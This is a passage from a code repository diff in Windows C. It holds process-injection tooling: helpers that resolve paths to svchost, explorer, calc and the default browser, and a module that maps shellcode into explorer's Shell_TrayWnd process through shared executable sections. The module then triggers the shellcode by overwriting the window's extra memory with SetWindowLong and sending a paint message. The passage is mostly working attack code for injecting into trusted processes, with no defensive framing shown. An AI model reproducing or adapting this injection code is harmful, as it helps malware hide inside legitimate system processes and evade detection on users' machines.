wcsncpy(dirBuf, cmdLine+1, offset-1);
dirBuf[offset-1] = NULL;
} else {
wcsncpy(dirBuf, cmdLine, offset);
dirBuf[offset + 1] = NULL;
}
printf("Dir: %S\n", dirBuf);
return true;
}
bool get_default_browser(LPWSTR lpwOutPath, DWORD szOutPath)
{
HKEY phkResult;
DWORD iMaxLen = szOutPath;
LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, L"HTTP\\shell\\open\\command", 0, 1u, &phkResult);
if (res != ERROR_SUCCESS) {
printf("[ERROR] Failed with value = %x\n", res);
return false;
}
res = RegQueryValueEx(phkResult, NULL, NULL, NULL, (LPBYTE) lpwOutPath, (LPDWORD) &iMaxLen);
if (res != ERROR_SUCCESS) {
printf("[ERROR] Failed with value = %x\n", res);
return false;
}
replace_param(lpwOutPath, szOutPath, L"www.google.com");
return true;
}
bool get_calc_path(LPWSTR lpwOutPath, DWORD szOutPath)
{
#if defined(_WIN64)
ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\calc.exe", lpwOutPath, szOutPath);
#else
ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\calc.exe", lpwOutPath, szOutPath);
#endif
printf("%S\n", lpwOutPath);
return true;
}
bool get_svchost_path(LPWSTR lpwOutPath, DWORD szOutPath)
{
#if defined(_WIN64)
ExpandEnvironmentStrings(L"%SystemRoot%\\SysWoW64\\svchost.exe", lpwOutPath, szOutPath);
#else
ExpandEnvironmentStrings(L"%SystemRoot%\\system32\\svchost.exe", lpwOutPath, szOutPath);
#endif
printf("%S\n", lpwOutPath);
return true;
}
bool get_explorer_path(LPWSTR lpwOutPath, DWORD szOutPath)
{
ExpandEnvironmentStrings(L"%windir%\\explorer.exe", lpwOutPath, szOutPath);
printf("%S\n", lpwOutPath );
return true;
}

Ver ficheiro

@ -0,0 +1,14 @@
#pragma once
void hex_dump(unsigned char *buf, size_t buf_size)
{
size_t pad = 8;
size_t col = 16;
putchar('\n');
for (size_t i = 0; i < buf_size; i++) {
if (i != 0 && i % pad == 0) putchar('\t');
if (i != 0 && i % col == 0) putchar('\n');
printf("%02X ", buf[i]);
}
putchar('\n');
}

Ver ficheiro

@ -0,0 +1,115 @@
#include "window_long_inject.h"
#include <stdio.h>
//for injection into Shell_TrayWnd
PVOID map_code_and_addresses_into_process(HANDLE hProcess, LPBYTE shellcode, SIZE_T shellcodeSize)
{
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES hAttributes;
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
LARGE_INTEGER maxSize;
maxSize.HighPart = 0;
maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize; //we need space for the shellcode and two pointers
NTSTATUS status = NULL;
if ((status = ZwCreateSection( &hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
{
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
return NULL;
}
PVOID sectionBaseAddress = NULL;
ULONG viewSize = 0;
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
// map the section in context of current process:
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), &sectionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
printf("Section BaseAddress: %p\n", sectionBaseAddress);
//map the new section into context of opened process
PVOID sectionBaseAddress2 = NULL;
if ((status = NtMapViewOfSection(hSection, hProcess, &sectionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
LPVOID shellcode_remote_ptr = sectionBaseAddress2;
LPVOID shellcode_local_ptr = sectionBaseAddress;
//the same page have double mapping - remote and local, so local modifications are reflected remotely
memcpy (shellcode_local_ptr, shellcode, shellcodeSize);
printf("Shellcode copied!\n");
LPVOID handles_remote_ptr = (BYTE*) shellcode_remote_ptr + shellcodeSize;
LPVOID handles_local_ptr = (BYTE*) shellcode_local_ptr + shellcodeSize;
//store the remote addresses
PVOID buf_va = (BYTE*) handles_remote_ptr;
LONG hop1 = (LONG) buf_va + sizeof(LONG);
LONG shellc_va = (LONG) shellcode_remote_ptr;
//fill the pointers
memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
//unmap from the context of current process
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
printf("Section mapped at address: %p\n", sectionBaseAddress2);
return shellcode_remote_ptr;
}
bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize)
{
HWND hWnd = FindWindow(L"Shell_TrayWnd", NULL);
if (hWnd == NULL) return false;
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
printf("PID:\t%d\n", pid);
//save the current value, because we will need to recover it:
LONG winLong = GetWindowLongW(hWnd, 0);
printf("WindowLong:\t%lx\n", winLong);
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid);
if (hProcess == NULL) {
return false;
}
LPVOID remote_shellcode_ptr = map_code_and_addresses_into_process(hProcess, shellcode, shellcodeSize);
if (remote_shellcode_ptr == NULL) {
return false;
}
LPVOID remote_handles_ptr = (BYTE*) remote_shellcode_ptr + shellcodeSize;
printf("Saving handles to:\t%p\n", remote_handles_ptr);
//set the handle to the injected:
SetWindowLong(hWnd, 0, (LONG) remote_handles_ptr);
//send signal to execute the injected code
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
//procedure will be triggered on every message
//in order to avoid repetitions, injected code should restore the previous value after the first exection
//here we are checking if it is done
size_t max_wait = 5;
while (GetWindowLong(hWnd, 0) != winLong) {
//not restored, wait more
Sleep(100);
if ((max_wait--) == 0) {
//don't wait longer, restore by yourself
SetWindowLong(hWnd, 0, winLong);
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
}
}
CloseHandle(hProcess);
return true;
}

Ver ficheiro

@ -0,0 +1,6 @@
#pragma once
#include <Windows.h>
#include "ntddk.h"
bool inject_into_tray(LPBYTE shellcode, SIZE_T shellcodeSize);